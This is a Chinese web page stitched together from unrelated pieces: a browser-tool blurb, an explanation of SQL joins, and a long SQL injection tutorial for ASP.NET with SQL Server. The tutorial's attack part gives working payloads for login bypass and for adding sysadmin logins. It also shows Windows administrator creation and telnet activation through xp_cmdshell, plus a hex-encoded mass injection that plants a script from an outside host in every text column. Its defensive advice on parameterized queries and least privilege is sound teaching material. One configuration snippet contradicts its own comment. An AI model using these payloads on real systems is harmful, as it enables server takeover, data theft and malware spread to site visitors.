整合營銷服務商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          Javascript怎樣訪問Sqlserver數(shù)據(jù)庫

          Javascript無法直接訪問SqlServer數(shù)據(jù)庫的,但可以使用瀏覽器的“執(zhí)行SQL”功能查詢數(shù)據(jù)庫,將查詢結(jié)果保存在瀏覽器變量中,然后在Javascript代碼中引用這些變量即可。在瀏覽器的項目管理器中,新建執(zhí)行SQL步驟,設置好SqlServer數(shù)據(jù)庫連接參數(shù),以及Sql查詢語句和引用變量值。

          Sqlserver連接參數(shù)及查詢語句


          在Javascript代碼輸入框中,點擊鼠標右鍵選擇Sql查詢結(jié)果中對應的字段,這樣就把Sql查詢結(jié)果賦值給Javascript變量了。

          Javascript引用Sqlserver查詢結(jié)果


          在網(wǎng)頁填表步驟中,可直接引用Javascript變量的值。

          Javascript變量的應用


          提示:如果把Sql語句改為Install,則可以構(gòu)建把Javascript變量插入到Sqlserver數(shù)據(jù)庫的方案。

          ava識堂,一個高原創(chuàng),高收藏,有干貨的微信公眾號,一起成長,一起進步,歡迎關(guān)注

          關(guān)系型數(shù)據(jù)庫最難的地方,就是建模(model)。


          錯綜復雜的數(shù)據(jù),需要建立模型,才能儲存在數(shù)據(jù)庫。所謂"模型"就是兩樣東西:實體(entity)+ 關(guān)系(relationship)。


          實體指的是那些實際的對象,帶有自己的屬性,可以理解成一組相關(guān)屬性的容器。關(guān)系就是實體之間的聯(lián)系,通常可以分成"一對一"、"一對多"和"多對多"等類型。



          在關(guān)系型數(shù)據(jù)庫里面,每個實體有自己的一張表(table),所有屬性都是這張表的字段(field),表與表之間根據(jù)關(guān)聯(lián)字段"連接"(join)在一起。所以,表的連接是關(guān)系型數(shù)據(jù)庫的核心問題。


          表的連接分成好幾種類型。

          內(nèi)連接(inner join)外連接(outer join)左連接(left join)右連接(right join)全連接(full join)

          以前,很多文章采用維恩圖(兩個圓的集合運算),解釋不同連接的差異。






          上周,我讀到一篇文章,認為還有比維恩圖更好的解釋方式。我發(fā)現(xiàn)確實如此,換一個角度解釋,更容易懂。


          所謂"連接",就是兩張表根據(jù)關(guān)聯(lián)字段,組合成一個數(shù)據(jù)集。問題是,兩張表的關(guān)聯(lián)字段的值往往是不一致的,如果關(guān)聯(lián)字段不匹配,怎么處理?比如,表 A 包含張三和李四,表 B 包含李四和王五,匹配的只有李四這一條記錄。


          很容易看出,一共有四種處理方法。

          只返回兩張表匹配的記錄,這叫內(nèi)連接(inner join)。返回匹配的記錄,以及表 A 多余的記錄,這叫左連接(left join)。返回匹配的記錄,以及表 B 多余的記錄,這叫右連接(right join)。返回匹配的記錄,以及表 A 和表 B 各自的多余記錄,這叫全連接(full join)。


          下圖就是四種連接的圖示。我覺得,這張圖比維恩圖更易懂,也更準確。




          上圖中,表 A 的記錄是 123,表 B 的記錄是 ABC,顏色表示匹配關(guān)系。返回結(jié)果中,如果另一張表沒有匹配的記錄,則用 null 填充。


          這四種連接,又可以分成兩大類:內(nèi)連接(inner join)表示只包含匹配的記錄,外連接(outer join)表示還包含不匹配的記錄。所以,左連接、右連接、全連接都屬于外連接。


          這四種連接的 SQL 語句如下。

          SELECT * FROM A 
          INNER JOIN B ON A.book_id=B.book_id;
          
          SELECT * FROM A 
          LEFT JOIN B ON A.book_id=B.book_id;
          
          SELECT * FROM A 
          RIGHT JOIN B ON A.book_id=B.book_id;
          
          SELECT * FROM A 
          FULL JOIN B ON A.book_id=B.book_id;
          

          上面的 SQL 語句還可以加上where條件從句,對記錄進行篩選,比如只返回表 A 里面不匹配表 B 的記錄。

          SELECT * FROM A
          LEFT JOIN B
          ON A.book_id=B.book_id
          WHERE B.id IS null;
          

          另一個例子,返回表 A 或表 B 所有不匹配的記錄。

          SELECT * FROM A
          FULL JOIN B
          ON A.book_id=B.book_id
          WHERE A.id IS null OR B.id IS null;
          

          此外,還存在一種特殊的連接,叫做"交叉連接"(cross join),指的是表 A 和表 B 不存在關(guān)聯(lián)字段,這時表 A(共有 n 條記錄)與表 B (共有 m 條記錄)連接后,會產(chǎn)生一張包含 n x m 條記錄的新表(見下圖)。




          作者:阮一峰

          鏈接:http://www.ruanyifeng.com/blog/2019/01/table-join.html

          業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入的相關(guān)知識整理了下,希望大家多多提意見。

          (對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗,為避免后知后覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

          下面的程序方案是采用 ASP.NET + MSSQL,其他技術(shù)在設置上會有少許不同。

          什么是SQL注入(SQL Injection)

          所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動態(tài)SQL命令,或作為存儲過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。

          嘗嘗SQL注入

          1. 一個簡單的登錄頁面

          關(guān)鍵代碼:

          privateboolNoProtectLogin(string userName, string password){int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}


          方法中userName和 password 是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)

          1) 輸入正常數(shù)據(jù),效果如圖:


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′


          2) 輸入注入數(shù)據(jù):

          如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′


          因為UserName值中輸入了“–”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上‘; ‘ (分號,用于結(jié)束前一條語句),后邊加上‘–‘ (用于注釋后邊的語句))

          2. 上面是最簡單的一種SQL注入,常見的注入語句還有:


          1) 猜測數(shù)據(jù)庫名,備份數(shù)據(jù)庫

          a) 猜測數(shù)據(jù)庫名: and db_name() >0 或系統(tǒng)表master.dbo.sysdatabases

          b) 備份數(shù)據(jù)庫:;backup database 數(shù)據(jù)庫名 to disk = ‘c:*.db’;–

          或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–

          2) 猜解字段名稱

          a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常

          b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

          3) 遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)構(gòu)并發(fā)現(xiàn)WEB虛擬目錄(服務器上傳木馬)

          先創(chuàng)建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

          a) 利用xp_availablemedia來獲得當前所有驅(qū)動器,并存入temp表中

          ;insert temp exec master.dbo.xp_availablemedia;–

          b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

          ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–

          c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結(jié)構(gòu),并存入temp表中

          ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實驗成功)

          d) 利用 bcp 命令將表內(nèi)容導成文件

          即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)

          Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘


          (注意:語句中使用的是雙引號,另外表名格式為“數(shù)據(jù)庫名.用戶名.表名”)

          在sql查詢器中通過語句:Exec master..xp_cmdshell N’BCP’即可查看BCP相關(guān)參數(shù),如圖:


          4) 查詢當前用戶的數(shù)據(jù)庫權(quán)限

          MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當前用戶是否具有該權(quán)限。

          5) 設置新的數(shù)據(jù)庫帳戶(得到MSSQL管理員賬戶)

          d) 在數(shù)據(jù)庫內(nèi)添加一個hax用戶,默認密碼是空

          ;exec sp_addlogin’hax’;–

          e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)

          ;exec master.dbo.sp_password null,password,username;–

          f) 將hax添加到sysadmin組

          ;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–

          6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )

          通過(5)獲取到sysadmin權(quán)限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫,可通過xp_cmdshell運行系統(tǒng)命令行(必須是sysadmin權(quán)限),即使用 cmd.exe 工具,可以做什么自己多了解下。

          下面我們使用xp_cmdshell來創(chuàng)建一個 Windows 用戶,并開啟遠程登錄服務:

          a) 判斷xp_cmdshell擴展存儲過程是否存在

          SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’


          b) 恢復xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;

          開啟后使用xp_cmdshell還會報下面錯誤:

          SQL Server 阻止了對組件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關(guān)啟用 ‘xp_cmdshell’ 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 “外圍應用配置器“。

          通過執(zhí)行下面語句進行設置:

          — 允許配置高級選項EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 啟用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO


          c) 禁用xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;

          d) 添加windows用戶:

          Exec xp_cmdshell ‘net user awen /add’;

          e) 設置好密碼:

          Exec xp_cmdshell ‘net user awen password’;

          f) 提升到管理員:

          Exec xp_cmdshell ‘net localgroup administrators awen /add’;

          g) 開啟telnet服務:

          Exec xp_cmdshell ‘net start tlntsvr’

          7) 沒有xp_cmdshell擴展程序,也可創(chuàng)建Windows帳戶的辦法.

          (本人windows7系統(tǒng),測試下面SQL語句木有效果)

          declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;


          在使用的時候會報如下錯:

          SQL Server 阻止了對組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關(guān)啟用 ‘Ole Automation Procedures’ 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 “外圍應用配置器“。

          解決辦法:

          sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO


          好了,這樣別人可以登錄你的服務器了,你怎么看?

          8) 客戶端腳本攻擊

          攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫中,當其他用戶瀏覽此內(nèi)容時就會受到惡意腳本的攻擊。

          措施:轉(zhuǎn)義提交的內(nèi)容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉(zhuǎn)換為HTML編碼的字符串。

          攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫中,直接使用SQL語法UPDATE數(shù)據(jù)庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉(zhuǎn)義,攻擊者會將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動態(tài)”SQL的特性運行腳本”。

          a) 向當前數(shù)據(jù)庫的每個表的每個字段插入一段惡意腳本

          Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor


          b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關(guān)鍵字檢查、腳本轉(zhuǎn)義等,通過EXEC執(zhí)行

          dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--


          c) 批次刪除數(shù)據(jù)庫被注入的腳本

          declare @delStrnvarchar(500)set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '數(shù)據(jù)庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off


          d) 我如何得到“HEX編碼”?

          開始不知道HEX是什么東西,后面查了是“十六進制”,網(wǎng)上已經(jīng)給出兩種轉(zhuǎn)換方式:(注意轉(zhuǎn)換的時候不要加入十六進制的標示符 ’0x’ )

          ? 在線轉(zhuǎn)換 (TRANSLATOR, BINARY),進入……

          ? C#版的轉(zhuǎn)換,進入……

          9) 對于敏感詞過濾不到位的檢查,我們可以結(jié)合函數(shù)構(gòu)造SQL注入

          比如過濾了update,卻沒有過濾declare、exec等關(guān)鍵詞,我們可以使用reverse來將倒序的sql進行注入:

          declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


          防止SQL注入

          1. 數(shù)據(jù)庫權(quán)限控制,只給訪問數(shù)據(jù)庫的web應用功能所需的最低權(quán)限帳戶。

          如MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。

          在 ASP.NET 中,可通過web.config配置文件的節(jié)點設置:

          <customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>


          mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。

          On指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。Off指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。RemoteOnly指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示 ASP.NET 錯誤。這是默認值。


          看下效果圖:

          設置為一般性錯誤:


          設置為:



          3. 把危險的和不必要的存儲過程刪除


          xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執(zhí)行xp_cmdshell之類的擴展存儲過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。

          xp_cmdshell能執(zhí)行dos命令,通過語句sp_dropextendedproc刪除,

          不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

          xpsql70.dll(sqlserer 7.0)

          xp_fileexist用來確定一個文件是否存在xp_getfiledetails可以獲得文件詳細資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得服務器名稱Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regread

          Xp_regremovemultistring

          Xp_regwrite

          可以訪問注冊表的存儲過程Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你不需要請丟棄OLE自動存儲過程


          4. 非參數(shù)化SQL與參數(shù)化SQL


          1) 非參數(shù)化(動態(tài)拼接SQL)

          a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉(zhuǎn)義字符轉(zhuǎn)換掉。

          b) 類型檢查:對接收數(shù)據(jù)有明確要求的,在方法內(nèi)進行類型驗證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數(shù)字等。

          c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。

          d) 使用枚舉:如果只有有限的幾個值,就用枚舉。

          e) 關(guān)鍵字過濾:這個門檻比較高,因為各個數(shù)據(jù)庫存在關(guān)鍵字,內(nèi)置函數(shù)的差異,所以對編寫此函數(shù)的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數(shù)還請留言分享下,學習學習,謝謝!

          這邊提供一個關(guān)鍵字過濾參考方案(MSSQL):

          public static bool ValiParms(string parms){ if (parms == null) { return false; } Regex regex = new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2 = new Regex("'", RegexOptions.IgnoreCase); Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase); Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5 = new Regex(""", RegexOptions.IgnoreCase); Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase); Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}


          優(yōu)點:寫法相對簡單,網(wǎng)絡傳輸量相對參數(shù)化拼接SQL小

          缺點:

          a) 對于關(guān)鍵字過濾,常常“顧此失彼”,如漏掉關(guān)鍵字,系統(tǒng)函數(shù),對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數(shù)據(jù)庫封裝函數(shù)。

          b) 無法滿足需求:用戶本來就想發(fā)表包含這些過濾字符的數(shù)據(jù)。

          c) 執(zhí)行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內(nèi)存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。

          2) 參數(shù)化查詢(Parameterized Query)

          a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關(guān)鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。

          b) 參數(shù)化查詢原理:在使用參數(shù)化查詢的情況下,數(shù)據(jù)庫服務器不會將參數(shù)的內(nèi)容視為SQL指令的一部份來處理,而是在數(shù)據(jù)庫完成 SQL 指令的編譯后,才套用參數(shù)運行,因此就算參數(shù)中含有具有損的指令,也不會被數(shù)據(jù)庫所運行。

          c) 所以在實際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應作為最后一道安全防線。

          優(yōu)點:

          ? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數(shù)、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

          ? 參數(shù)化查詢能強制執(zhí)行類型和長度檢查。

          ? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執(zhí)行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)

          缺點:

          ? 不是所有數(shù)據(jù)庫都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫支持參數(shù)化查詢。

          疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫。

          a) 通過在參數(shù)名上增加一個計數(shù)來區(qū)分開多個參數(shù)化語句拼接中的同名參數(shù)。

          EG:

          StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循環(huán)){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}


          b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個表當參數(shù)傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數(shù)設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……

          疑慮:有部份的開發(fā)人員可能會認為使用參數(shù)化查詢,會讓程序更不好維護,或者在實現(xiàn)部份功能上會非常不便,然而,使用參數(shù)化查詢造成的額外開發(fā)成本,通常都遠低于因為SQL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。

          另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法

          --清空緩存的查詢計劃DBCC FREEPROCCACHEGO--查詢緩存的查詢計劃SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handleGO


          3) 參數(shù)化查詢示例

          效果如圖:

          參數(shù)化關(guān)鍵代碼:

          Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}


          5. 存儲過程

          存儲過程(Stored Procedure)是在大型數(shù)據(jù)庫系統(tǒng)中,一組為了完成特定功能的SQL 語句集,經(jīng)編譯后存儲在數(shù)據(jù)庫中,用戶通過指定存儲過程的名字并給出參數(shù)(如果該存儲過程帶有參數(shù))來執(zhí)行它。

          優(yōu)點:

          a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。

          b) 在創(chuàng)建時進行預編譯,后續(xù)的調(diào)用不需再重新編譯。

          c) 可以降低網(wǎng)絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

          缺點:

          a) 非應用程序內(nèi)聯(lián)代碼,調(diào)式麻煩。

          b) 修改麻煩,因為要不斷的切換開發(fā)工具。(不過也有好的一面,一些易變動的規(guī)則做到存儲過程中,如變動就不需要重新編譯應用程序)

          c) 如果在一個程序系統(tǒng)中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數(shù)據(jù)結(jié)構(gòu)的變化,接著就是系統(tǒng)的相關(guān)問題了,最后如果用戶想維護該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。

          關(guān)鍵代碼為:

          cmd.CommandText = procName;// 傳遞存儲過程名cmd.CommandType = CommandType.StoredProcedure;// 標識解析為存儲過程


          如果在存儲過程中SQL語法很復雜需要根據(jù)邏輯進行拼接,這時是否還具有放注入的功能?

          答:MSSQL中可以通過 EXEC 和sp_executesql動態(tài)執(zhí)行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數(shù)值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。

          關(guān)鍵代碼:

          a) sp_executesql

          CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND


          b) EXECUTE(注意sql中拼接字符,對于字符參數(shù)需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)

          CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END


          注入截圖如下:



          6. 專業(yè)的SQL注入工具及防毒軟件


          情景1

          A:“丫的,又中毒了……”

          B:“我看看,你這不是裸機在跑嗎?”

          電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會立馬報出警報。

          情景2

          A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”

          A:“網(wǎng)站怎么被黑了,怎么入侵的???”

          公司或個人有財力的話還是有必要購買一款專業(yè)SQL注入工具來驗證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領(lǐng)域都有自己的獨到之處。

          7. 額外小知識:LIKE中的通配符


          盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

          %包含零個或多個字符的任意字符串。_任何單個字符。[]指定范圍(例如 [a-f])或集合(例如 [abcdef])內(nèi)的任何單個字符。[^]不在指定范圍(例如 [^a – f])或集合(例如 [^abcdef])內(nèi)的任何單個字符。


          在模糊查詢LIKE中,對于輸入數(shù)據(jù)中的通配符必須轉(zhuǎn)義,否則會造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

          注意使用通配符的索引性能問題:

          a) like的第一個字符是‘%’或‘_’時,為未知字符不會使用索引, sql會遍歷全表。

          b) 若通配符放在已知字符后面,會使用索引。

          網(wǎng)上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執(zhí)行語法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫中會使用到索引吧……

          截圖如下:


          有兩種將通配符轉(zhuǎn)義為普通字符的方法:

          1) 使用ESCAPE關(guān)鍵字定義轉(zhuǎn)義符(通用)

          在模式中,當轉(zhuǎn)義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:

          WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’

          2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索范圍,請將破折號指定為方括號內(nèi)的第一個字符。EG:

          所以,進行過輸入?yún)?shù)的關(guān)鍵字過濾后,還需要做下面轉(zhuǎn)換確保LIKE的正確執(zhí)行


